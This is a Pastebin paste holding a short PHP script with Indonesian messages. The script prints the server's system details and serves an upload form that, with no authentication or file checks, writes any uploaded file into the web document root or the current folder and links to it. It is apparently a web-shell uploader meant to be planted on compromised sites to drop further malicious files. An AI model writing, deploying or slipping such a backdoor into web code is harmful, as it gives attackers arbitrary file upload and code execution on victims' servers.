SHARE
TWEET

Untitled

a guest Sep 17th, 2019 92 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. echo ". <br>";
  3. echo "<b>".php_uname()."</b><br>";
  4. echo "<form method='post' enctype='multipart/form-data'>
  5.       <input type='file' name='idx_file'>
  6.       <input type='submit' name='upload' value='upload'>
  7.       </form>";
  8. $root = $_SERVER['DOCUMENT_ROOT'];
  9. $files = $_FILES['idx_file']['name'];
  10. $dest = $root.'/'.$files;
  11. if(isset($_POST['upload'])) {
  12.     if(is_writable($root)) {
  13.         if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  14.             $web = "http://".$_SERVER['HTTP_HOST']."/";
  15.             echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  16.         } else {
  17.             echo "gagal upload di document root.";
  18.         }
  19.     } else {
  20.         if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  21.             echo "sukses upload <b>$files</b> di folder ini";
  22.         } else {
  23.             echo "gagal upload";
  24.         }
  25.     }
  26. }
  27. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top